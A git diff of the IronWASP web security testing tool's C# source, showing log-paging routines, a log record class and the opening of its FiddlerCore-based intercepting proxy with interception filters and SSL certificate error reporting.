+ return ManualTesting.GroupSessions[Group][ID].GetClone(); + } + break; + case RequestSource.SelectedLogEntry: + return IronLog.CurrentSession.GetClone(); + case RequestSource.CurrentProxyInterception: + return IronProxy.CurrentSession.GetClone(); + default: + IrSe = Session.FromLog(ID, Source); + break; + } + return IrSe; + } + + internal static int GetJumpCount(int Level) + { + switch (Level) + { + case(4): + return IronLog.MaxRowCount * 125; + case (3): + return IronLog.MaxRowCount * 25; + case (2): + return IronLog.MaxRowCount * 5; + case (1): + default: + return 0; + } + } + + internal static void MoveProxyLogRecordForward(int JumpLevel) + { + Thread T = new Thread(MoveProxyLogRecordForward); + T.Start(JumpLevel); + } + internal static void MoveProxyLogRecordForward(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetNextProxyLogRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowLogBottomStatus("Reached end of logs", true); + return; + } + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToProxyGridRowObjectArray()); + } + IronUI.SetProxyGridRows(Rows); + } + internal static void MoveProbeLogRecordForward(int JumpLevel) + { + Thread T = new Thread(MoveProbeLogRecordForward); + T.Start(JumpLevel); + } + internal static void MoveProbeLogRecordForward(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetNextProbeLogRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowLogBottomStatus("Reached end of logs", true); + return; + } + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToProbeGridRowObjectArray()); + } + IronUI.SetProbeGridRows(Rows); + } + internal static void MoveScanLogRecordForward(int JumpLevel) + { + Thread T = new Thread(MoveScanLogRecordForward); + T.Start(JumpLevel); + } + internal static void MoveScanLogRecordForward(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetNextScanLogRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowLogBottomStatus("Reached end of logs", true); + return; + } + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToScanGridRowObjectArray()); + } + IronUI.SetScanGridRows(Rows); + } + internal static void MoveShellLogRecordForward(int JumpLevel) + { + Thread T = new Thread(MoveShellLogRecordForward); + T.Start(JumpLevel); + } + internal static void MoveShellLogRecordForward(object JumpLevelObj) + { + int JumpLevel = (int) JumpLevelObj; + List Records = GetNextShellLogRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowLogBottomStatus("Reached end of logs", true); + return; + } + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToShellGridRowObjectArray()); + } + IronUI.SetShellGridRows(Rows); + } + internal static void MoveOtherLogRecordForward(int JumpLevel) + { + Thread T = new Thread(MoveOtherLogRecordForward); + T.Start(JumpLevel); + } + internal static void MoveOtherLogRecordForward(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetNextOtherLogRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowLogBottomStatus("Reached end of logs", true); + return; + } + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToShellGridRowObjectArray()); + } + IronUI.SetOtherSourceGridRows(Rows, IronLog.SelectedOtherSource); + } + internal static void MoveTestLogRecordForward(int JumpLevel) + { + Thread T = new Thread(MoveTestLogRecordForward); + T.Start(JumpLevel); + } + internal static void MoveTestLogRecordForward(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetNextTestLogRecords(JumpLevel); + if (Records.Count == 0) + { + IronUI.ShowLogBottomStatus("Reached end of logs", true); + return; + } + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToTestGridRowObjectArray()); + } + IronUI.SetTestGridRows(Rows); + } + + internal static void MoveProxyLogRecordBack(int JumpLevel) + { + Thread T = new Thread(MoveProxyLogRecordBack); + T.Start(JumpLevel); + } + internal static void MoveProxyLogRecordBack(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetPreviousProxyLogRecords(JumpLevel); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToProxyGridRowObjectArray()); + } + IronUI.SetProxyGridRows(Rows); + } + internal static void MoveProbeLogRecordBack(int JumpLevel) + { + Thread T = new Thread(MoveProbeLogRecordBack); + T.Start(JumpLevel); + } + internal static void MoveProbeLogRecordBack(object JumpLevelObj) + { + int JumpLevel = (int) JumpLevelObj; + List Records = GetPreviousProbeLogRecords(JumpLevel); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToProbeGridRowObjectArray()); + } + IronUI.SetProbeGridRows(Rows); + } + internal static void MoveScanLogRecordBack(int JumpLevel) + { + Thread T = new Thread(MoveScanLogRecordBack); + T.Start(JumpLevel); + } + internal static void MoveScanLogRecordBack(object JumpLevelObj) + { + int JumpLevel = (int) JumpLevelObj; + List Records = GetPreviousScanLogRecords(JumpLevel); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToScanGridRowObjectArray()); + } + IronUI.SetScanGridRows(Rows); + } + internal static void MoveShellLogRecordBack(int JumpLevel) + { + Thread T = new Thread(MoveShellLogRecordBack); + T.Start(JumpLevel); + } + internal static void MoveShellLogRecordBack(object JumpLevelObj) + { + int JumpLevel = (int) JumpLevelObj; + List Records = GetPreviousShellLogRecords(JumpLevel); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToShellGridRowObjectArray()); + } + IronUI.SetShellGridRows(Rows); + } + internal static void MoveOtherLogRecordBack(int JumpLevel) + { + Thread T = new Thread(MoveOtherLogRecordBack); + T.Start(JumpLevel); + } + internal static void MoveOtherLogRecordBack(object JumpLevelObj) + { + int JumpLevel = (int)JumpLevelObj; + List Records = GetPreviousOtherLogRecords(JumpLevel); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToShellGridRowObjectArray()); + } + IronUI.SetOtherSourceGridRows(Rows, IronLog.SelectedOtherSource); + } + internal static void MoveTestLogRecordBack(int JumpLevel) + { + Thread T = new Thread(MoveTestLogRecordBack); + T.Start(JumpLevel); + } + internal static void MoveTestLogRecordBack(object JumpLevelObj) + { + int JumpLevel = (int) JumpLevelObj; + List Records = GetPreviousTestLogRecords(JumpLevel); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToTestGridRowObjectArray()); + } + IronUI.SetTestGridRows(Rows); + } + + internal static List GetNextProxyLogRecords(int JumpLevel) + { + int JumpCount = GetJumpCount(JumpLevel); + int StartIndex = IronLog.ProxyMax + JumpCount; + List Records = IronDB.GetRecordsFromProxyLog(StartIndex, IronLog.MaxRowCount); + if (Records.Count == 0) + { + int NewStartIndex = (Config.LastProxyLogId / IronLog.MaxRowCount) * IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetRecordsFromProxyLog(NewStartIndex, IronLog.MaxRowCount); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronLog.ProxyMax) Records.Clear(); + } + } + } + return Records; + } + internal static List GetNextProbeLogRecords(int JumpLevel) + { + int JumpCount = GetJumpCount(JumpLevel); + int StartIndex = IronLog.ProbeMax + JumpCount; + List Records = IronDB.GetRecordsFromProbeLog(StartIndex, IronLog.MaxRowCount); + if (Records.Count == 0) + { + int NewStartIndex = (Config.LastProbeLogId / IronLog.MaxRowCount) * IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetRecordsFromProbeLog(NewStartIndex, IronLog.MaxRowCount); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronLog.ProbeMax) Records.Clear(); + } + } + } + return Records; + } + internal static List GetNextScanLogRecords(int JumpLevel) + { + int JumpCount = GetJumpCount(JumpLevel); + int StartIndex = IronLog.ScanMax + JumpCount; + List Records = IronDB.GetRecordsFromScanLog(StartIndex, IronLog.MaxRowCount); + if (Records.Count == 0) + { + int NewStartIndex = (Config.LastScanLogId / IronLog.MaxRowCount) * IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetRecordsFromScanLog(NewStartIndex, IronLog.MaxRowCount); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronLog.ScanMax) Records.Clear(); + } + } + } + return Records; + } + internal static List GetNextShellLogRecords(int JumpLevel) + { + int JumpCount = GetJumpCount(JumpLevel); + int StartIndex = IronLog.ShellMax + JumpCount; + List Records = IronDB.GetRecordsFromShellLog(StartIndex, IronLog.MaxRowCount); + if (Records.Count == 0) + { + int NewStartIndex = (Config.LastShellLogId / IronLog.MaxRowCount) * IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetRecordsFromShellLog(NewStartIndex, IronLog.MaxRowCount); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronLog.ShellMax) Records.Clear(); + } + } + } + return Records; + } + internal static List GetNextOtherLogRecords(int JumpLevel) + { + int JumpCount = GetJumpCount(JumpLevel); + int StartIndex = IronLog.OtherSourceMax + JumpCount; + List Records = IronDB.GetRecordsFromOtherSourceLog(StartIndex, IronLog.MaxRowCount, IronLog.SelectedOtherSource); + if (Records.Count == 0) + { + int NewStartIndex = (Config.GetLastLogId(IronLog.SelectedOtherSource) / IronLog.MaxRowCount) * IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetRecordsFromOtherSourceLog(NewStartIndex, IronLog.MaxRowCount, IronLog.SelectedOtherSource); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronLog.OtherSourceMax) Records.Clear(); + } + } + } + return Records; + } + internal static List GetNextTestLogRecords(int JumpLevel) + { + int JumpCount = GetJumpCount(JumpLevel); + int StartIndex = IronLog.TestMax + JumpCount; + List Records = IronDB.GetRecordsFromTestLog(StartIndex, IronLog.MaxRowCount); + if (Records.Count == 0) + { + int NewStartIndex = (Config.LastTestLogId / IronLog.MaxRowCount) * IronLog.MaxRowCount; + if (NewStartIndex > 0) + { + Records = IronDB.GetRecordsFromTestLog(NewStartIndex, IronLog.MaxRowCount); + if (Records.Count > 0) + { + if (Records[Records.Count - 1].ID == IronLog.TestMax) Records.Clear(); + } + } + } + return Records; + } + + internal static List GetPreviousProxyLogRecords(int JumpLevel) + { + List Records = new List(); + Records = GetPreviousLogRecords(IronDB.GetRecordsFromProxyLog, IronLog.ProxyMin, JumpLevel); + return Records; + } + internal static List GetPreviousProbeLogRecords(int JumpLevel) + { + List Records = new List(); + Records = GetPreviousLogRecords(IronDB.GetRecordsFromProbeLog, IronLog.ProbeMin, JumpLevel); + return Records; + } + internal static List GetPreviousScanLogRecords(int JumpLevel) + { + List Records = new List(); + Records = GetPreviousLogRecords(IronDB.GetRecordsFromScanLog, IronLog.ScanMin, JumpLevel); + return Records; + } + internal static List GetPreviousShellLogRecords(int JumpLevel) + { + List Records = new List(); + Records = GetPreviousLogRecords(IronDB.GetRecordsFromShellLog, IronLog.ShellMin, JumpLevel); + return Records; + } + internal static List GetPreviousOtherLogRecords(int JumpLevel) + { + List Records = new List(); + Records = GetPreviousLogRecords(IronDB.GetRecordsFromSelectedOtherSourceLog, IronLog.OtherSourceMin, JumpLevel); + return Records; + } + internal static List GetPreviousTestLogRecords(int JumpLevel) + { + List Records = new List(); + Records = GetPreviousLogRecords(IronDB.GetRecordsFromTestLog, IronLog.TestMin, JumpLevel); + return Records; + } + + internal static List GetPreviousLogRecords(GetRecordsDelegate GetRecordMethod, int CurrentMin, int JumpLevel) + { + List Records = new List(); + int JumpCount = GetJumpCount(JumpLevel); + if (CurrentMin <= 1) + { + IronUI.ShowLogBottomStatus("Reached beginning of the log. Cannot go back further.", true); + return Records; + } + int StartIndex = CurrentMin - IronLog.MaxRowCount - JumpCount - 1; + Records = GetRecordMethod(StartIndex, IronLog.MaxRowCount); + return Records; + } + + internal delegate List GetRecordsDelegate(int StartIndex, int Count); + + internal static void ShowOtherSourceRecords() + { + IronUI.ShowLogBottomStatus("Loading...", false); + List Records = IronDB.GetRecordsFromOtherSourceLog(0, IronLog.MaxRowCount, IronLog.SelectedOtherSource); + if (Records.Count == 0) return; + List Rows = new List(); + foreach (LogRow Record in Records) + { + Rows.Add(Record.ToShellGridRowObjectArray()); + } + IronUI.SetOtherSourceGridRows(Rows, IronLog.SelectedOtherSource); + } + + static int[] GetMinMaxIds(List Records) + { + int[] MinMax = new int[] {0, 0}; + if (Records.Count > 0) + { + MinMax[0] = Records[0].ID; + MinMax[1] = Records[Records.Count - 1].ID; + } + return MinMax; + } + + internal static string SourceName(string Source) + { + string StringSource = ""; + switch (Source) + { + case RequestSource.Test: + StringSource = "Test"; + break; + case RequestSource.Scan: + StringSource = "Scan"; + break; + case RequestSource.Shell: + StringSource = "Shell"; + break; + case RequestSource.Probe: + StringSource = "Probe"; + break; + case RequestSource.Proxy: + StringSource = "Proxy"; + break; + } + return StringSource; + } + + static bool IsActionInProgress() + { + if (CurrentThread == null) return false; + if (CurrentThread.ThreadState == ThreadState.Running || CurrentThread.ThreadState == ThreadState.WaitSleepJoin) return true; + return false; + } + } +} diff --git a/IronWASP/IronLogRecord.cs b/Iron/IronLogRecord.cs similarity index 97% rename from IronWASP/IronLogRecord.cs rename to Iron/IronLogRecord.cs index 11cfd02..cab5bd4 100644 --- a/IronWASP/IronLogRecord.cs +++ b/Iron/IronLogRecord.cs @@ -1,46 +1,46 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class IronLogRecord - { - internal int ID = 0; - internal string RequestHeaders=""; - internal string RequestBody = ""; - internal bool SSL = false; - internal bool IsRequestBinary = false; - internal string ResponseHeaders = ""; - internal string ResponseBody = ""; - internal bool IsResponseBinary = false; - - internal string OriginalRequestHeaders = ""; - internal string OriginalRequestBody = ""; - internal bool OriginalSSL = false; - internal bool IsOriginalRequestBinary = false; - internal string OriginalResponseHeaders = ""; - internal string OriginalResponseBody = ""; - internal bool IsOriginalResponseBinary = false; - - internal int RoundTrip = 0; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class IronLogRecord + { + internal int ID = 0; + internal string RequestHeaders=""; + internal string RequestBody = ""; + internal bool SSL = false; + internal bool IsRequestBinary = false; + internal string ResponseHeaders = ""; + internal string ResponseBody = ""; + internal bool IsResponseBinary = false; + + internal string OriginalRequestHeaders = ""; + internal string OriginalRequestBody = ""; + internal bool OriginalSSL = false; + internal bool IsOriginalRequestBinary = false; + internal string OriginalResponseHeaders = ""; + internal string OriginalResponseBody = ""; + internal bool IsOriginalResponseBinary = false; + + internal int RoundTrip = 0; + } +} diff --git a/IronWASP/IronProxy.cs b/Iron/IronProxy.cs similarity index 91% rename from IronWASP/IronProxy.cs rename to Iron/IronProxy.cs index d1be120..c090506 100644 --- a/IronWASP/IronProxy.cs +++ b/Iron/IronProxy.cs @@ -1,1832 +1,2006 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Xml; -using System.Collections; -using System.Collections.Specialized; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using System.Net.Security; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - public class IronProxy - { - internal static Dictionary InterceptedSessions = new Dictionary(); - internal static bool ManualTamperingFree = true; - internal static Queue SessionsQ = new Queue(); - internal static Session CurrentSession; - //internal static Session StoredSession; - - internal static bool ProxyRunning = false; - - internal static int Port = 8080; - internal static bool LoopBackOnly = true; - internal static bool SystemProxy = false; - - internal static bool UseSystemProxyAsUpStreamProxy = false; - internal static bool UseUpstreamProxy = false; - internal static string UpstreamProxyIP = ""; - internal static int UpstreamProxyPort = 0; - - static bool EventHandlersAssigned = false; - - //Traffic Interception Rules - internal static bool InterceptRequest = false; - internal static bool InterceptResponse = false; - - internal static bool InterceptGET = true; - internal static bool InterceptPOST = true; - internal static bool InterceptOtherMethods = true; - - internal static bool InterceptHTML = true; - internal static bool InterceptJS = true; - internal static bool InterceptCSS = true; - internal static bool InterceptXML = true; - internal static bool InterceptJSON = true; - internal static bool InterceptOtherText = true; - internal static bool InterceptImg = true; - internal static bool InterceptOtherBinary = true; - - internal static bool Intercept200 = true; - internal static bool Intercept2xx = true; - internal static bool Intercept301_2 = true; - internal static bool Intercept3xx = true; - internal static bool Intercept403 = true; - internal static bool Intercept4xx = true; - internal static bool Intercept500 = true; - internal static bool Intercept5xx = true; - - internal static bool InterceptCheckFileExtensions = false; - internal static bool InterceptCheckFileExtensionsPlus = false; - internal static List InterceptFileExtensions = new List(); - internal static bool InterceptCheckFileExtensionsMinus = false; - internal static List DontInterceptFileExtensions = new List(); - - internal static bool InterceptCheckHostNames = false; - internal static bool InterceptCheckHostNamesPlus = false; - internal static List InterceptHostNames = new List(); - internal static bool InterceptCheckHostNamesMinus = false; - internal static List DontInterceptHostNames = new List(); - - internal static bool InterceptCheckRequestWithKeyword = false; - internal static bool InterceptCheckRequestWithKeywordPlus = false; - internal static string InterceptRequestWithKeyword = ""; - internal static bool InterceptCheckRequestWithKeywordMinus = false; - internal static string DontInterceptRequestWithKeyword = ""; - - internal static bool InterceptCheckResponseWithKeyword = false; - internal static bool InterceptCheckResponseWithKeywordPlus = false; - internal static string InterceptResponseWithKeyword = ""; - internal static bool InterceptCheckResponseWithKeywordMinus = false; - internal static string DontInterceptResponseWithKeyword = ""; - - internal static bool RequestRulesOnResponse = true; - - //Log Display Filter - internal static bool DisplayGET = true; - internal static bool DisplayPOST = true; - internal static bool DisplayOtherMethods = true; - - internal static bool DisplayHTML = true; - internal static bool DisplayJS = true; - internal static bool DisplayCSS = true; - internal static bool DisplayXML = true; - internal static bool DisplayJSON = true; - internal static bool DisplayOtherText = true; - internal static bool DisplayImg = false; - internal static bool DisplayOtherBinary = false; - - internal static bool Display200 = true; - internal static bool Display2xx = true; - internal static bool Display301_2 = true; - internal static bool Display3xx = true; - internal static bool Display403 = true; - internal static bool Display4xx = true; - internal static bool Display500 = true; - internal static bool Display5xx = true; - - internal static bool DisplayCheckFileExtensions = false; - internal static bool DisplayCheckFileExtensionsPlus = false; - internal static List DisplayFileExtensions = new List(); - internal static bool DisplayCheckFileExtensionsMinus = false; - internal static List DontDisplayFileExtensions = new List(); - - internal static bool DisplayCheckHostNames = false; - internal static bool DisplayCheckHostNamesPlus = false; - internal static List DisplayHostNames = new List(); - internal static bool DisplayCheckHostNamesMinus = false; - internal static List DontDisplayHostNames = new List(); - - //To check intercepted message editing - internal static bool RequestChanged = false; - internal static bool RequestHeaderChanged = false; - internal static bool RequestBodyChanged = false; - internal static bool RequestQueryParametersChanged = false; - internal static bool RequestBodyParametersChanged = false; - internal static bool RequestCookieParametersChanged = false; - internal static bool RequestHeaderParametersChanged = false; - internal static bool ResponseChanged = false; - internal static bool ResponseHeaderChanged = false; - internal static bool ResponseBodyChanged = false; - - internal static ScriptedInterceptor ScInt = new ScriptedInterceptor(); - internal static bool ScriptedInterceptionEnabled = false; - - internal static bool Start() - { - ProxyRunning = true; - - if (!EventHandlersAssigned) - { - Fiddler.FiddlerApplication.AfterSessionComplete += delegate(Fiddler.Session Sess) - { - IronProxy.AfterSessionComplete(Sess); - }; - - Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session Sess) - { - IronProxy.BeforeRequest(Sess); - }; - - Fiddler.FiddlerApplication.BeforeResponse += delegate(Fiddler.Session Sess) - { - IronProxy.BeforeResponse(Sess); - }; - - Fiddler.FiddlerApplication.OnValidateServerCertificate += delegate(object sender, Fiddler.ValidateServerCertificateEventArgs e) - { - if(e.CertificatePolicyErrors != SslPolicyErrors.None) - { - string PluginName = "Internal SSL Checker"; - string Signature = string.Format("SSLCertificateChecker|{0}|{1}|{2}", new object[] { e.Session.host, e.Session.port.ToString(), e.CertificatePolicyErrors.ToString() }); - if (Finding.IsSignatureUnique(PluginName, e.Session.host, FindingType.Vulnerability, Signature)) - { - Finding PR = new Finding(e.Session.host); - PR.Plugin = PluginName; - PR.Severity = FindingSeverity.Medium; - PR.Confidence = FindingConfidence.High; - PR.Title = string.Format("SSL Certificate Error for {0}:{1} ", new object[] { e.Session.host, e.Session.port.ToString() }); - PR.Summary = string.Format("The remote server running Host: {0} and Port: {1} returned an invalid SSL certificate.> >Error:> {2}. > >Certificate Details:> {3}", new object[] { e.Session.host, e.Session.port.ToString(), e.CertificatePolicyErrors.ToString(), e.ServerCertificate.Subject }); - PR.Signature = Signature; - PR.Report(); - } - e.Session.oFlags.Add("IronFlag-SslError", "Yes"); - } - - //string SSLError = sslPolicyErrors.ToString(); - //if (!SSLError.Equals("None")) - //{ - // string PluginName = "Internal SSL Checker"; - // string Signature = string.Format("SSLCertificateChecker|{0}|{1}|{2}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString() }); - // if (Finding.IsSignatureUnique(PluginName, Sess.host, FindingType.Vulnerability, Signature)) - // { - // Finding PR = new Finding(Sess.host); - // PR.Plugin = PluginName; - // PR.Severity = FindingSeverity.Medium; - // PR.Confidence = FindingConfidence.High; - // PR.Title = string.Format("SSL Certificate Error for {0}:{1} ", new object[] { Sess.host, Sess.port.ToString() }); - // PR.Summary = string.Format("The remote server running Host: {0} and Port: {1} returned an invalid SSL certificate.> >Error:> {2}. > >Certificate Details:> {3}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString(), ServerCertificate.Subject }); - // PR.Signature = Signature; - // PR.Report(); - // } - // Sess.oFlags.Add("IronFlag-SslError", "Yes"); - // bTreatCertificateAsValid = false; - // return false; - //} - //else - //{ - // bTreatCertificateAsValid = true; - // return true; - //} - }; - - //Fiddler.FiddlerApplication.OnValidateServerCertificate.OverrideServerCertificateValidation += delegate(Fiddler.Session Sess, string sExpectedCN, X509Certificate ServerCertificate, X509Chain ServerCertificateChain, SslPolicyErrors sslPolicyErrors, out bool bTreatCertificateAsValid) - //{ - // string SSLError = sslPolicyErrors.ToString(); - // if (!SSLError.Equals("None")) - // { - // string PluginName = "Internal SSL Checker"; - // string Signature = string.Format("SSLCertificateChecker|{0}|{1}|{2}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString() }); - // if (Finding.IsSignatureUnique(PluginName, Sess.host, FindingType.Vulnerability, Signature)) - // { - // Finding PR = new Finding(Sess.host); - // PR.Plugin = PluginName; - // PR.Severity = FindingSeverity.Medium; - // PR.Confidence = FindingConfidence.High; - // PR.Title = string.Format("SSL Certificate Error for {0}:{1} ", new object[] { Sess.host, Sess.port.ToString() }); - // PR.Summary = string.Format("The remote server running Host: {0} and Port: {1} returned an invalid SSL certificate.> >Error:> {2}. > >Certificate Details:> {3}", new object[] { Sess.host, Sess.port.ToString(), sslPolicyErrors.ToString(), ServerCertificate.Subject }); - // PR.Signature = Signature; - // PR.Report(); - // } - // Sess.oFlags.Add("IronFlag-SslError", "Yes"); - // bTreatCertificateAsValid = false; - // return false; - // } - // else - // { - // bTreatCertificateAsValid = true; - // return true; - // } - //}; - - Fiddler.FiddlerApplication.OnNotification += delegate(object Sender, Fiddler.NotificationEventArgs Args) - { - if (Args.NotifyString.Contains("Unable to bind to port")) - { - IronProxy.Stop(); - //IronException.Report("FiddlerCore Notification", Args.NotifyString, ""); - //IronUI.ShowProxyStoppedError("Proxy Not Started! All features depend on the proxy, start proxy to activate them."); - } - }; - - EventHandlersAssigned = true; - } - - Fiddler.CONFIG.IgnoreServerCertErrors = true; - //Fiddler.CONFIG.bReuseServerSockets = false; - IronUI.UpdateProxyStatusInConfigPanel(true); - - if (IronProxy.UseSystemProxyAsUpStreamProxy) - { - if (IronProxy.SystemProxy) - { - if (IronProxy.LoopBackOnly) - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients); - } - else - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default); - } - } - else - { - if (IronProxy.LoopBackOnly) - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); - } - else - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); - } - } - } - else - { - if (IronProxy.SystemProxy) - { - if (IronProxy.LoopBackOnly) - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); - } - else - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); - } - } - else - { - if (IronProxy.LoopBackOnly) - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); - } - else - { - Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); - } - - //This is a hack to work around a bug in FiddlerCore v2.4.4.8. - //If both the RegisterAsSystemProxy and ChainToUpstreamGateway flags are removed the proxy doesn't start. - //So we start with the RegisterAsSystemProxy flad set and then call the detach method to remove it - if (Fiddler.FiddlerApplication.IsStarted()) - { - Fiddler.FiddlerApplication.oProxy.Detach(); - } - } - } - - //if (IronProxy.LoopBackOnly) - //{ - // Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~ Fiddler.FiddlerCoreStartupFlags.AllowRemoteClients & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy); - // //Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default); - //} - //else - //{ - // Fiddler.FiddlerApplication.Startup(IronProxy.Port, Fiddler.FiddlerCoreStartupFlags.Default & ~Fiddler.FiddlerCoreStartupFlags.RegisterAsSystemProxy & ~Fiddler.FiddlerCoreStartupFlags.ChainToUpstreamGateway); - //} - - try - { - return Fiddler.FiddlerApplication.IsStarted(); - } - catch - { - return false; - } - } - - internal static void Stop() - { - ProxyRunning = false; - try - { - Fiddler.FiddlerApplication.Shutdown(); - } - catch { } - IronUI.UpdateProxyStatusInConfigPanel(false); - } - - internal static void AfterSessionComplete(Fiddler.Session Sess) - { - if (Sess.HTTPMethodIs("Connect")) return; - if (Sess.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) - { - Session IrSe; - try - { - IrSe = new Session(Sess); - } - catch(Exception Exp) - { - IronException.Report("Error handling Response", Exp.Message, Exp.StackTrace); - return; - } - if (IrSe == null) - { - IronException.Report("Error handling Response", "", ""); - return; - } - if (IrSe.FiddlerSession == null) - { - IronException.Report("Error handling Response", "", ""); - return; - } - if (IrSe.Response == null) - { - IronException.Report("Error handling Response", "", ""); - return; - } - - if (Sess.oFlags["IronFlag-BuiltBy"] == "ManualTestingSection") - { - try - { - ManualTesting.HandleResponse(IrSe); - } - catch(Exception Exp) - { - IronException.Report("Error handling 'Manual Testing' Response", Exp.Message, Exp.StackTrace); - } - } - else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Shell") || Sess.oFlags["IronFlag-BuiltBy"].Equals("Scan") || 